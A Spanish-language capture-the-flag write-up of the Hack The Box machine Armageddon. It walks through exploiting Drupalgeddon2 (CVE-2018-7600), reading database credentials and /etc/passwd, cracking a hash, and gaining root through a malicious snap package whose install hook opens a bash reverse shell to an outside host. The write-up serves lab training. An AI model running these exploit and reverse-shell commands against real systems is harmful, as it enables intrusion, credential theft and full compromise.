La verdad que la resolución de esta máquina fue bastante entretenida. Siendo una máquina categorizada como ‘easy‘ no presentó mucha dificultad, sin embargo siempre se aprenden nuevas cosas en Hack The Box. Por tanto retomamos la sección y aquí vamos con el write-up de Armageddon.

Resumen:

  • Enumeración de puertos y servicios vía Nmap
  • Revisión y navegación por el activo web
  • Descubrimiento de vulnerabilidad Drupalgeddon2
  • Explotación de vulnerabilidad Drupalgeddon2
  • Revisión de fichero de configuración de Drupal
  • Extracción de credenciales de la base de datos
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Arrancamos ejecutando nuestro Nmap de rigor:

nmap -sS -sV -sC armageddon.htb -oN Nmap_TCP

Dado los resultados, rápidamente nos centraremos con la revisión del puerto 80. Esto lo haremos a través del navegador.

Recordando nuevamente los resultados obtenidos de Nmap, me dispongo a revisar el fichero CHANGELOG.txt, este suele «chivarnos» la versión del CMS Drupal.

Ya con la versión descubierta (Drupal 7.56) + el nombre de la máquina, inferimos que los tiros pueden ir por el lado del aprovechamiento de la famosa vulnerabilidad Drupalgeddon2 (SA-CORE-2018-002 / CVE-2018-7600), ya que ésta versión se ve afectada.

Prontamente realizo la búsqueda de un exploit que nos permita el aprovechamiento de este RCE (Remote Code Execution) crítico. Particularmente recuerdo uno script en Python de mi colega Gonzalo Nina (@lorddemon), que iba de maravilla.

Lo descargo y lo pongo en marcha a través de una PoC (Prueba de Concepto) básica.

wget https://raw.githubusercontent.com/lorddemon/drupalgeddon2/master/drupalgeddon2.py
python drupalgeddon2.py -h http://armageddon.htb/ -c "id; uname -a; hostname -I"

Bien, llegados a este punto lo suyo sería obtener una Reverse Shell hasta nuestro equipo de ataque, pero en este caso, vamos a quedarnos aquí que la comunicación parece estable.

Obtención de usuario:

Ahora haremos un poco de reconocimiento del entorno a fin de identificar vectores para escalar privilegios.

Cuando hablamos de CMS (Content Management System) se vuelve especialmente necesario mirar los ficheros de configuración. En el caso de Drupal se trata del fichero: settings.php; Éste se ubica en: sites/default/.
Revisando detenidamente dicho fichero encontraremos las credenciales de conexión con la base de datos.

Lo próximo será realizar la conexión con la base de datos y revisar los registros de las tablas.

Después de la revisión lograremos obtener credenciales en la tabla users:

python drupalgeddon2.py -h http://armageddon.htb/ -c "mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -e 'use drupal; select * from users;'"

Durante el reconocimiento y la recopilación de información que se estaba realizando anteriormente, también lograremos identificar los usuarios del sistema que pueden resultar interesantes:

python drupalgeddon2.py -h http://armageddon.htb/ -c "cat /etc/passwd"

Ahora bien, se entiende que la credencial hallada en la base de datos corresponde con al usuario brucetherealadmin, el cual también existe como usuario del sistema. Por tanto procedemos con el crackeo de dichas credencial. Para ello emplearemos John The Ripper.

john --wordlist=rockyou.txt Hash_user

Comprobaremos vía SSH la validez de las credencial recopilada.

ssh brucetherealadmin@armageddon.htb
hostname; id; uname -a; hostname -I; pwd

La primera flag, la de usuario, la tendremos a nuestro alcance.

Escalada de privilegios:

Para conseguir la escalada de privilegios primeramente tocará una vez más realizar la recopilación de información efectiva. Llegando por ejemplo a revisar los binarios que pueden ser utilizados mediante sudo para este usuario, por ello ejecutamos sudo -l.

Observemos que se permite que los paquetes snap puedan ser instalados con privilegios, por tanto nos dirigimos a GTFOBins y validamos una posibilidad:

En nuestro equipo de ataque, pondremos en marcha este método inicialmente tal y como se nos presenta, para confirmar la factibilidad de la explotación y corregir cualquier impedimento o trasfondo de la técnica. En algunos casos, al igual que me pasó en el primer momento, puede que os haga falta instalar fpm, para ello ejecutaremos (tal y como indica la guía que os dejo en las referencias al final del post):

gem install --no-document fpm

Ahora me dispondré a llevar este fichero creado al equipo objetivo y ejecutarlo. El resultado será el siguiente:

scp und3s_1.0_all.snap brucetherealadmin@armageddon.htb:/tmp/tmp.RrnTNfKJTC/
sudo snap install und3s_1.0_all.snap --dangerous --devmode

Observemos en amarillo el resultado del comando ‘id‘ que ejecutamos con máximos privilegios (root).
Ahora lo haremos a través de un comando más sofisticado que nos permita obtener una Reverse Shell vía Netcat.

CMD="bash -c 'bash -i >& /dev/tcp/10.10.15.71/8055 0>&1'"
mkdir file; cd file
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$CMD" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n sh3ll -s dir -t snap -a all meta
scp sh3ll_1.0_all.snap brucetherealadmin@armageddon.htb:/tmp/tmp.Gmm08jw9f7/
sudo snap install sh3ll_1.0_all.snap --dangerous --devmode

Espero que os haya resultado interesante estas líneas, ahora es momento que os pongáis con ella e incluso tracéis vuestras propias vías de intrusión si se encuentra alguna alternativa. Nos vemos en la próxima entrada.

Referencias: